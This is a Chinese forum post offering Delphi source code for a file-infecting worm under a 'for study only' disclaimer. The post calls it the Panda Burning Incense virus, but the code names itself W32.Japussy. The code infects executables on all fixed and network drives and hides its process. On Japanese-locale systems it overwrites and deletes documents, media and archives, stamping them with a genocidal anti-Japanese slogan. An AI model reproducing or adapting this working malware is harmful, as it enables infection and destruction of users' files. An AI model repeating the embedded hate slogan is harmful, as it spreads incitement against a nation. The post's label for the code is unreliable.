熊猫烧香病毒的源码
hoho~居然扒到源代码，，，收藏起来先....
特此声明：只供学习使用！出现任何违法现象与本贴无关！
病毒编写语言：Delphi
program Japussy
;
uses Windows
,
SysUtils
,
Classes
,
Graphics
,
ShellAPI{
,
Registry}
;
const HeaderSize
=
82432
;
IconOffset
=
$
12EB8
;
{ HeaderSize
=
38912
;
IconOffset
=
$
92BC
;
} IconSize
=
$
2E8
;
IconTail
=
IconOffset
+
IconSize
;
ID
=
$
44444444
;
Catchword
=
'
If
a race need to be killed out
,
it must be Yamato
.
'
+
'
If
a
country
need to be destroyed
,
it must be Japan! '
+
'*** W32
.
Japussy
.
Worm
.
A ***'
;
{
$
R *
.
RES} function RegisterServiceProcess
(
dwProcessID
,
dwType: Integer
)
: Integer
;
stdcall
;
external 'Kernel32
.
dll'
;
var TmpFile: string
;
Si: STARTUPINFO
;
Pi: PROCESS_INFORMATION
;
IsJap: Boolean
=
False
;
{} function IsWin9x: Boolean
;
var
Ver
: TOSVersionInfo
;
begin Result :
=
False
;
Ver
.
dwOSVersionInfoSize :
=
SizeOf
(
TOSVersionInfo
);
if
not
GetVersionEx
(
Ver
)
then
Exit
;
if
(
Ver
.
dwPlatformID
=
VER_PLATFORM_WIN32_WINDOWS
)
then
//
Win9x Result :
=
True
;
end
;
{} procedure CopyStream
(
Src: TStream
;
sStartPos: Integer
;
Dst: TStream
;
dStartPos: Integer
;
Count: Integer
);
var sCurPos
,
dCurPos: Integer
;
begin sCurPos :
=
Src
.
Position
;
dCurPos :
=
Dst
.
Position
;
Src
.
Seek
(
sStartPos
,
0
);
Dst
.
Seek
(
dStartPos
,
0
);
Dst
.
CopyFrom
(
Src
,
Count
);
Src
.
Seek
(
sCurPos
,
0
);
Dst
.
Seek
(
dCurPos
,
0
);
end
;
{} procedure ExtractFile
(
FileName: string
);
var sStream
,
dStream: TFileStream
;
begin try sStream :
=
TFileStream
.
Create
(
ParamStr
(
0
),
fmOpenRead or fmShareDenyNone
);
try dStream :
=
TFileStream
.
Create
(
FileName
,
fmCreate
);
try sStream
.
Seek
(
HeaderSize
,
0
);
dStream
.
CopyFrom
(
sStream
,
sStream
.
Size - HeaderSize
);
finally dStream
.
Free
;
end
;
finally sStream
.
Free
;
end
;
except
end
;
end
;
{} procedure FillStartupInfo
(
var Si: STARTUPINFO
;
State: Word
);
begin Si
.
cb :
=
SizeOf
(
Si
);
Si
.
lpReserved :
=
nil
;
Si
.
lpDesktop :
=
nil
;
Si
.
lpTitle :
=
nil
;
Si
.
dwFlags :
=
STARTF_USESHOWWINDOW
;
Si
.
wShowWindow :
=
State
;
Si
.
cbReserved2 :
=
0
;
Si
.
lpReserved2 :
=
nil
;
end
;
{} procedure SendMail
;
begin
end
;
{} procedure InfectOneFile
(
FileName: string
);
var HdrStream
,
SrcStream: TFileStream
;
IcoStream
,
DstStream: TMemoryStream
;
iID: LongInt
;
aIcon: TIcon
;
Infected
,
IsPE: Boolean
;
i: Integer
;
Buf: array[
0
..
1
] of Char
;
begin try
if
CompareText
(
FileName
,
'JAPUSSY
.
EXE'
)
=
0
then
Exit
;
Infected :
=
False
;
IsPE :
=
False
;
SrcStream :
=
TFileStream
.
Create
(
FileName
,
fmOpenRead
);
try
for
i :
=
0
to
$
108
do
begin SrcStream
.
Seek
(
i
,
soFromBeginning
);
SrcStream
.
Read
(
Buf
,
2
);
if
(
Buf[
0
]
=
#
80
)
and
(
Buf[
1
]
=
#
69
)
then
begin IsPE :
=
True
;
Break
;
end
;
end
;
SrcStream
.
Seek
(
-
4
,
soFromEnd
);
SrcStream
.
Read
(
iID
,
4
);
if
(
iID
=
ID
)
or
(
SrcStream
.
Size
<
10240
)
then
Infected :
=
True
;
finally SrcStream
.
Free
;
end
;
if
Infected or
(
not
IsPE
)
then
Exit
;
IcoStream :
=
TMemoryStream
.
Create
;
DstStream :
=
TMemoryStream
.
Create
;
try aIcon :
=
TIcon
.
Create
;
try aIcon
.
ReleaseHandle
;
aIcon
.
Handle :
=
ExtractIcon
(
HInstance
,
PChar
(
FileName
),
0
);
aIcon
.
SaveToStream
(
IcoStream
);
finally aIcon
.
Free
;
end
;
SrcStream :
=
TFileStream
.
Create
(
FileName
,
fmOpenRead
);
HdrStream :
=
TFileStream
.
Create
(
ParamStr
(
0
),
fmOpenRead or fmShareDenyNone
);
try CopyStream
(
HdrStream
,
0
,
DstStream
,
0
,
IconOffset
);
CopyStream
(
IcoStream
,
22
,
DstStream
,
IconOffset
,
IconSize
);
CopyStream
(
HdrStream
,
IconTail
,
DstStream
,
IconTail
,
HeaderSize - IconTail
);
CopyStream
(
SrcStream
,
0
,
DstStream
,
HeaderSize
,
SrcStream
.
Size
);
DstStream
.
Seek
(
0
,
2
);
iID :
=
$
44444444
;
DstStream
.
Write
(
iID
,
4
);
finally HdrStream
.
Free
;
end
;
finally SrcStream
.
Free
;
IcoStream
.
Free
;
DstStream
.
SaveToFile
(
FileName
);
DstStream
.
Free
;
end
;
except
;
end
;
end
;
{} procedure SmashFile
(
FileName: string
);
var FileHandle: Integer
;
i
,
Size
,
Mass
,
Max
,
Len: Integer
;
begin try SetFileAttributes
(
PChar
(
FileName
),
0
);
FileHandle :
=
FileOpen
(
FileName
,
fmOpenWrite
);
try Size :
=
GetFileSize
(
FileHandle
,
nil
);
i :
=
0
;
Randomize
;
Max :
=
Random
(
15
);
if
Max
<
5
then
Max :
=
5
;
Mass :
=
Size div Max
;
Len :
=
Length
(
Catchword
);
while i
<
Max
do
begin FileSeek
(
FileHandle
,
i * Mass
,
0
);
FileWrite
(
FileHandle
,
Catchword
,
Len
);
Inc
(
i
);
end
;
finally FileClose
(
FileHandle
);
end
;
DeleteFile
(
PChar
(
FileName
));
except
end
;
end
;
{} function GetDrives: string
;
var DiskType: Word
;
D: Char
;
Str: string
;
i: Integer
;
begin
for
i :
=
0
to
25
do
begin D :
=
Chr
(
i
+
65
);
Str :
=
D
+
':
'
;
DiskType :
=
GetDriveType
(
PChar
(
Str
));
if
(
DiskType
=
DRIVE_FIXED
)
or
(
DiskType
=
DRIVE_REMOTE
)
then
Result :
=
Result
+
D
;
end
;
end
;
{} procedure LoopFiles
(
Path
,
Mask: string
);
var i
,
Count: Integer
;
Fn
,
Ext: string
;
SubDir: TStrings
;
SearchRec: TSearchRec
;
Msg: TMsg
;
function IsValidDir
(
SearchRec: TSearchRec
)
: Integer
;
begin
if
(
SearchRec
.
Attr
<>
16
)
and
(
SearchRec
.
Name
<>
'
.
'
)
and
(
SearchRec
.
Name
<>
'
..
'
)
then
Result :
=
0
else
if
(
SearchRec
.
Attr
=
16
)
and
(
SearchRec
.
Name
<>
'
.
'
)
and
(
SearchRec
.
Name
<>
'
..
'
)
then
Result :
=
1
else
Result :
=
2
;
end
;
begin
if
(
FindFirst
(
Path
+
Mask
,
faAnyFile
,
SearchRec
)
=
0
)
then
begin repeat PeekMessage
(
Msg
,
0
,
0
,
0
,
PM_REMOVE
);
if
IsValidDir
(
SearchRec
)
=
0
then
begin Fn :
=
Path
+
SearchRec
.
Name
;
Ext :
=
UpperCase
(
ExtractFileExt
(
Fn
));
if
(
Ext
=
'
.
EXE'
)
or
(
Ext
=
'
.
SCR'
)
then
begin InfectOneFile
(
Fn
);
end
else
if
(
Ext
=
'
.
HTM'
)
or
(
Ext
=
'
.
HTML'
)
or
(
Ext
=
'
.
ASP'
)
then
begin
end
else
if
Ext
=
'
.
WAB'
then
begin
end
else
if
Ext
=
'
.
ADC'
then
begin
end
else
if
Ext
=
'IND'
then
begin
end
else
begin
if
IsJap
then
begin
if
(
Ext
=
'
.
DOC'
)
or
(
Ext
=
'
.
XLS'
)
or
(
Ext
=
'
.
MDB'
)
or
(
Ext
=
'
.
MP3'
)
or
(
Ext
=
'
.
RM'
)
or
(
Ext
=
'
.
RA'
)
or
(
Ext
=
'
.
WMA'
)
or
(
Ext
=
'
.
ZIP'
)
or
(
Ext
=
'
.
RAR'
)
or
(
Ext
=
'
.
MPEG'
)
or
(
Ext
=
'
.
ASF'
)
or
(
Ext
=
'
.
JPG'
)
or
(
Ext
=
'
.
JPEG'
)
or
(
Ext
=
'
.
GIF'
)
or
(
Ext
=
'
.
SWF'
)
or
(
Ext
=
'
.
PDF'
)
or
(
Ext
=
'
.
CHM'
)
or
(
Ext
=
'
.
AVI'
)
then
SmashFile
(
Fn
);
end
;
end
;
end
;
Sleep
(
200
);
until
(
FindNext
(
SearchRec
)
<>
0
);
end
;
FindClose
(
SearchRec
);
SubDir :
=
TStringList
.
Create
;
if
(
FindFirst
(
Path
+
'*
.
*'
,
faDirectory
,
SearchRec
)
=
0
)
then
begin repeat
if
IsValidDir
(
SearchRec
)
=
1
then
SubDir
.
Add
(
SearchRec
.
Name
);
until
(
FindNext
(
SearchRec
)
<>
0
);
end
;
FindClose
(
SearchRec
);
Count :
=
SubDir
.
Count -
1
;
for
i :
=
0
to Count
do
LoopFiles
(
Path
+
SubDir
.
Strings
+
'
'
,
Mask
);
FreeAndNil
(
SubDir
);
end
;
{} procedure InfectFiles
;
var DriverList: string
;
i
,
Len: Integer
;
begin
if
GetACP
=
932
then
IsJap :
=
True
;
DriverList :
=
GetDrives
;
Len :
=
Length
(
DriverList
);
while True
do
begin
for
i :
=
Len downto
1
do
LoopFiles
(
DriverList
+
':
'
,
'*
.
*'
);
SendMail
;
Sleep
(
1000
*
60
*
5
);
end
;
end
;
{} begin
if
IsWin9x
then
//
是Win9x RegisterServiceProcess
(
GetCurrentProcessID
,
1
)
else
begin
end
;
if
CompareText
(
ExtractFileName
(
ParamStr
(
0
)),
'Japussy
.
exe'
)
=
0
then
InfectFiles
else
begin TmpFile :
=
ParamStr
(
0
);
Delete
(
TmpFile
,
Length
(
TmpFile
)
-
4
,
4
);
TmpFile :
=
TmpFile
+
#
32
+
'
.
exe'
;
ExtractFile
(
TmpFile
);
FillStartupInfo
(
Si
,
SW_SHOWDEFAULT
);
CreateProcess
(
PChar
(
TmpFile
),
PChar
(
TmpFile
),
nil
,
nil
,
True
,
0
,
nil
,
'
.
'
,
Si
,
Pi
);
InfectFiles
;
end
;
end
.